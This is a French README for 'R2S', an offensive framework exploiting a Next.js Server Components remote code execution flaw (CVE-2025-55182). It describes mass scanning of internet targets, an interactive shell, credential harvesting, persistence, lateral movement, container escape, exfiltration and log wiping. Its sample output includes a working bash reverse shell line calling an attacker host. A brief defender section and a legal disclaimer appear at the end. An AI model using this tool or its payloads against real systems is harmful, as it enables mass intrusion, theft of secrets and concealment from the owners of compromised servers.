🚀 R2S - Framework d'exploitation RSC pour Next.js

📋 Aperçu

R2S est un framework complet d'exploitation et de post-exploitation ciblant la vulnérabilité des composants serveur React de Next.js (CVE-2025-55182). Il fournit un shell interactif avec des fonctionnalités avancées pour les tests de pénétration, notamment le transfert de fichiers, la persistance, l'énumération, les vérifications d'escalade de privilèges, et bien plus encore.

🎯 Capacités clés

• ✅ Scan automatisé de vulnérabilités - Scannez en masse plusieurs cibles
• ✅ Shell RCE interactif - Exécution de commandes avec état et navigation dans les répertoires
• ✅ Transfert de fichiers via HTTP - Téléchargez/téléversez des fichiers sans limitation de base64
• ✅ Automatisation du reverse shell - Essayez plus de 25 charges utiles différentes
• ✅ Énumération avancée - Système, réseau, conteneur et métadonnées cloud
• ✅ Escalade de privilèges - Détection automatisée des vecteurs d'escalade
• ✅ Collecte d'identifiants - Extrayez mots de passe, clés, jetons et secrets
• ✅ Mécanismes de persistance - Maintenez l'accès après redémarrage
• ✅ Mouvement latéral - Découvrez et pivotez vers d'autres hôtes
• ✅ Évasion de conteneur - Vérifiez les vecteurs de sortie Docker/Kubernetes
• ✅ Exfiltration de données - Extrayez des fichiers sensibles et des configurations
• ✅ Opérations furtives - Effacez les journaux et masquez les traces

🔥 Fonctionnalités

🌐 Exploitation principale

• Scan de masse avec prise en charge du multi-threading
• Mode pipeline pour l'intégration avec d'autres outils
• Détection automatique des vulnérabilités pour les RSC Next.js
• Shell interactif avec état et répertoire de travail persistant

📁 Opérations sur les fichiers

• Téléversement via HTTP - Transférez des fichiers vers la cible avec wget/curl
• Téléchargement via HTTP - Exfiltrez des fichiers via des requêtes POST
• Aucune limite de taille - Fonctionne avec les gros fichiers (contrairement aux méthodes base64)
• Serveur HTTP automatique - Démarrage/arrêt selon les besoins

🔍 Reconnaissance et énumération

• Énumération système - OS, noyau, utilisateurs, processus
• Découverte réseau - Interfaces, routes, ARP, DNS, ports en écoute
• Détection de conteneur - Identification Docker, Kubernetes, LXC
• Métadonnées cloud - Extraction d'identifiants AWS, GCP, Azure
• Extraction mémoire des processus - Extrayez les secrets des processus en cours
• Découverte de fichiers intéressants - SUID, répertoires accessibles en écriture, sauvegardes, configurations

🔐 Collecte d'identifiants

• Variables d'environnement (mots de passe, clés API, jetons)
• Fichiers .env et fichiers de configuration
• Clés privées SSH et authorized_keys
• Historique Bash avec commandes sensibles
• Fichiers de base de données (SQLite, dumps MySQL)
• Identifiants cloud (AWS, Azure, GCP)
• Identifiants Git et jetons NPM
• Données de navigateur (cookies, données de connexion)
• Secrets Docker et Kubernetes

⬆️ Escalade de privilèges

• Détection des binaires SUID/SGID
• Énumération des permissions sudo
• Fichiers système accessibles en écriture (/etc/passwd, /etc/shadow)
• Vérifications d'accès au socket Docker
• Analyse des capacités Linux
• Suggestions d'exploitation du noyau
• Énumération des tâches cron
• Opportunités de détournement de PATH

🔄 Post-exploitation

• Mécanismes de persistance - Tâches cron, .bashrc, services systemd
• Persistance avancée - LD_PRELOAD, minuteurs systemd
• Scan de ports - Reconnaissance réseau interne
• Mouvement latéral - Découverte de clés SSH, analyse des known_hosts
• Évasion de conteneur - Vérifications de conteneur privilégié, analyse des capacités
• Exfiltration de données - Collecte automatisée de données sensibles
• Automatisation du reverse shell - Plus de 25 types de charges utiles avec réessai automatique

🥷 Furtivité et évasion

• Effacement des journaux - Historique Bash, journaux d'authentification, syslog
• Masquage des traces - Nettoyage de wtmp, lastlog
• Gestion des sessions - Sauvegarde et reprise des sessions

🛠️ Installation

Prérequis

# Python 3.6 ou supérieur
python3 --version

# Installer les dépendances
pip3 install requests urllib3

Démarrage rapide

# Cloner ou télécharger l'outil
cd r2s-main

# Rendre exécutable (optionnel)
chmod +x r2s_enhanced.py

# Exécuter l'outil
python3 r2s_enhanced.py -h

🚀 Utilisation

Syntaxe de base

python3 r2s_enhanced.py [OPTIONS]

Options de ligne de commande

Méthodes d'entrée

1. Cible unique

python3 r2s_enhanced.py -u http://cible.com

2. Cibles multiples (fichier)

python3 r2s_enhanced.py -l cibles.txt -t 50

3. Mode pipeline (stdin)

cat cibles.txt | python3 r2s_enhanced.py
shodan search "Next.js" | python3 r2s_enhanced.py
subfinder -d exemple.com | httpx | python3 r2s_enhanced.py

💻 Commandes du shell interactif

Une fois l'accès RCE obtenu, vous entrerez dans un shell interactif avec ces commandes :

📂 Transfert de fichiers

upload <fichier_local> <chemin_distant>    # Téléverser un fichier vers la cible
download <fichier_distant> <chemin_local>  # Télécharger un fichier depuis la cible

🧭 Navigation

cd <répertoire>                       # Changer de répertoire de travail
pwd                                  # Afficher le répertoire de travail

🔍 Énumération

enum                                 # Énumération complète du système
privesc                              # Vérifications d'escalade de privilèges
harvest                              # Collecte d'identifiants
portscan <ip>                        # Scanner les ports du réseau interne
memdump [pid]                        # Extraire la mémoire d'un processus pour les secrets

🎯 Post-exploitation

lateral                              # Opportunités de mouvement latéral
escape                               # Vecteurs d'évasion de conteneur
exfil [type]                         # Exfiltrer des données (env/config/keys/db/logs/all)
reverse <hôte_local> <port_local>    # Essayer plusieurs charges utiles de reverse shell

🔒 Persistance

persist                              # Ajouter une persistance de base
advpersist                           # Ajouter une persistance avancée

🥷 Furtivité

stealth                              # Effacer les journaux et masquer les traces

💾 Gestion des sessions

save                                 # Sauvegarder la session en cours
help, ?                              # Afficher l'aide
exit, quit                           # Quitter le shell interactif

🖥️ Commandes système

Exécutez n'importe quelle commande shell directement :

whoami
id
uname -a
ps aux
netstat -tulpn
cat /etc/passwd

📚 Exemples

Exemple 1 : Exploitation de base

$ python3 r2s_enhanced.py -u http://app-vulnerable.com

    _   __          __  ____            
   / | / /__  _  __/ /_/ __ \________   
  /  |/ / _ \| |/_/ __/ /_/ / ___/ _ \  
 / /|  /  __/>  </_ _/ _, _/ /__/  __/  
/_/ |_/\___/_/|_|\__/_/ |_|\___/\___/   

   Outil d'exploitation RSC Next.js (CVE-2025-55182)
   Édition Scan de masse et Pipeline (v4.1.0 - Améliorée)

   >> CREDIT( G4rxd )

[*] 1 cible chargée. Début du scan avec 30 threads...
[*] Commande de la charge utile : id

[VULN] http://app-vulnerable.com >>> RCE RÉUSSI
       Sortie : uid=1000(node) gid=1000(node) groups=1000(node)

[+] Shell interactif RCE avec état démarré. Tapez 'help' pour les commandes.
[*] Fonctionnalités avancées : enum, privesc, persist, portscan, harvest, stealth
[*] Nouvelles fonctionnalités : memdump, lateral, escape, exfil, advpersist, reverse

[+] Serveur HTTP démarré sur 192.168.1.100:8000

next-rce:/app$

Exemple 2 : Énumération système

next-rce:/app$ enum

[*] Début de l'énumération automatisée...

============================================================
[*] Informations système
============================================================
Linux 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
NAME="Ubuntu"
VERSION="22.04.3 LTS (Jammy Jellyfish)"

============================================================
[*] Utilisateur actuel
============================================================
node
uid=1000(node) gid=1000(node) groups=1000(node),27(sudo)

============================================================
[*] Détection de conteneur
============================================================
12:devices:/docker/a1b2c3d4e5f6
11:cpuset:/docker/a1b2c3d4e5f6
[Conteneur Docker détecté]

...

Exemple 3 : Transfert de fichiers

# Téléverser un fichier
next-rce:/app$ upload /tmp/exploit.sh /var/tmp/exploit.sh
[*] Téléversement de /tmp/exploit.sh (2048 octets) via HTTP...
[+] Téléversement réussi !
    -rwxr-xr-x 1 node node 2048 Dec 12 03:28 /var/tmp/exploit.sh

# Télécharger un fichier
next-rce:/app$ download /etc/passwd ./passwd.txt
[*] Téléchargement de /etc/passwd via HTTP...
[+] Téléchargement réussi ! (1523 octets)
    Enregistré sous : ./passwd.txt

Exemple 4 : Collecte d'identifiants

next-rce:/app$ harvest

[*] Collecte des identifiants...

[*] Variables d'environnement :
DATABASE_PASSWORD=super_secret_pass
API_KEY=sk-1234567890abcdef
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

[*] Fichiers .env :
/app/.env
/app/.env.production
/var/www/.env.local

[*] Clés SSH :
/home/node/.ssh/id_rsa
/root/.ssh/id_rsa

...

Exemple 5 : Reverse shell

next-rce:/app$ reverse 192.168.1.100 4444

[*] Début des tentatives de reverse shell vers 192.168.1.100:4444
[!] Assurez-vous d'avoir un listener en cours : nc -lvnp 4444

[*] Essai de 25 charges utiles différentes...

[1/25] Essai Bash TCP... ✓ Exécuté
[?] Avez-vous reçu une connexion ? (y/n/s pour arrêter) : y

[+] SUCCÈS ! Reverse shell établi avec : Bash TCP
[*] Charge utile : bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

Exemple 6 : Scan de masse

$ cat cibles.txt
http://app1.exemple.com
http://app2.exemple.com
http://app3.exemple.com

$ python3 r2s_enhanced.py -l cibles.txt -t 50

[*] 3 cibles chargées. Début du scan avec 50 threads...

[VULN] http://app1.exemple.com >>> RCE RÉUSSI
[VULN] http://app3.exemple.com >>> RCE RÉUSSI

[*] Scan terminé.

Exemple 7 : Vérification d'escalade de privilèges

next-rce:/app$ privesc

[*] Vérification des vecteurs d'escalade de privilèges...

[*] Binaires SUID :
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

[*] Permissions sudo :
L'utilisateur node peut exécuter les commandes suivantes :
    (ALL : ALL) NOPASSWD: /usr/bin/docker

[*] Socket Docker :
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock

[*] Groupe Docker :
Dans le groupe docker - EXPLOITABLE !

...

Exemple 8 : Évasion de conteneur

next-rce:/app$ escape

[*] Vérification des vecteurs d'évasion de conteneur...

[*] Type de conteneur :
12:devices:/docker/a1b2c3d4e5f6

[*] Conteneur privilégié :
PRIVILÉGIÉ

[*] Socket Docker :
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock

[*] Capacités :
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
[Capacités complètes - le conteneur est privilégié]

...

🔧 Fonctionnalités avancées

Charges utiles de reverse shell

L'outil inclut plus de 25 charges utiles de reverse shell couvrant plusieurs langages et techniques :

• Bash (TCP, UDP, variantes exec)
• Netcat (traditionnel, mkfifo, OpenBSD)
• Python/Python3 (socket, pty)
• Perl (plusieurs variantes)
• PHP (exec, system, passthru)
• Ruby (variantes socket)
• Node.js (child_process, socket)
• Socat, Telnet, AWK
• Golang, OpenSSL

Extraction de métadonnées cloud

Détecte et extrait automatiquement les identifiants depuis :

• AWS - Rôles IAM, identifiants de sécurité
• GCP - Jetons de compte de service
• Azure - Métadonnées d'instance
• Variables d'environnement contenant des identifiants cloud

Détection de conteneur

Identifie et analyse :

• Conteneurs Docker
• Pods Kubernetes
• Conteneurs LXC
• Privilégié ou non
• Vecteurs d'évasion disponibles

⚠️ Avertissement légal

À USAGE ÉDUCATIF ET DE TEST AUTORISÉ UNIQUEMENT

Cet outil est fourni à des fins éducatives et pour les tests de pénétration autorisés uniquement. Toute utilisation de cet outil pour attaquer des cibles sans consentement mutuel préalable est illégale. L'auteur n'est pas responsable de toute utilisation abusive ou des dommages causés par cet outil.

Conditions requises pour une utilisation légale :

• ✅ Autorisation écrite du propriétaire de la cible
• ✅ Périmètre et règles d'engagement définis
• ✅ Engagement professionnel de test de pénétration
• ❌ Accès non autorisé aux systèmes
• ❌ Intention malveillante ou dommage

🛡️ Détection et défense

Pour les défenseurs

Détection :

• Surveillez les en-têtes Next-Action inhabituels
• Recherchez les requêtes POST multipart/form-data vers des points de terminaison inexistants
• Vérifiez la présence de sortie de commande encodée en base64 dans les réponses d'erreur
• Surveillez child_process.execSync dans les journaux Next.js

Atténuation :

• Mettez à jour Next.js vers la dernière version patchée
• Implémentez des règles de pare-feu applicatif (WAF)
• Restreignez l'exécution de code côté serveur
• Surveillez et journalisez toutes les requêtes RSC
• Implémentez une validation d'entrée appropriée

📊 Historique des versions

v4.1.0 (Actuelle) - Édition améliorée

• ✅ Ajout de l'automatisation du reverse shell (25+ charges utiles)
• ✅ Ajout de capacités d'extraction mémoire
• ✅ Ajout de la découverte de mouvement latéral
• ✅ Ajout des vérifications d'évasion de conteneur
• ✅ Ajout de l'automatisation de l'exfiltration de données
• ✅ Ajout de mécanismes de persistance avancés
• ✅ Amélioration du transfert de fichiers HTTP
• ✅ Fonctionnalités d'énumération améliorées
• ✅ Meilleure gestion des erreurs et expérience utilisateur

v4.0.0 - Framework de post-exploitation

• ✅ Transfert de fichiers via HTTP
• ✅ Mécanismes de persistance
• ✅ Scanner de ports
• ✅ Vérifications d'escalade de privilèges
• ✅ Énumération réseau
• ✅ Collecte d'identifiants
• ✅ Gestion des sessions
• ✅ Énumération automatisée
• ✅ Fonctionnalités furtives

v3.0.0 - Shell interactif

• Shell avec état et navigation dans les répertoires
• Transfert de fichiers de base (base64)
• Gestion des erreurs améliorée

🤝 Contribuer

Les contributions sont les bienvenues ! Veuillez vous assurer que toutes les contributions sont à des fins éducatives et de sécurité défensive.

👨‍💻 Auteur

G4rxd

🙏 Crédits

• Équipe de découverte de CVE-2025-55182
• Communauté de recherche en sécurité Next.js
• Communauté des outils de sécurité open source

📄 Licence

Ce projet est concédé sous licence à des fins éducatives et de test autorisé uniquement.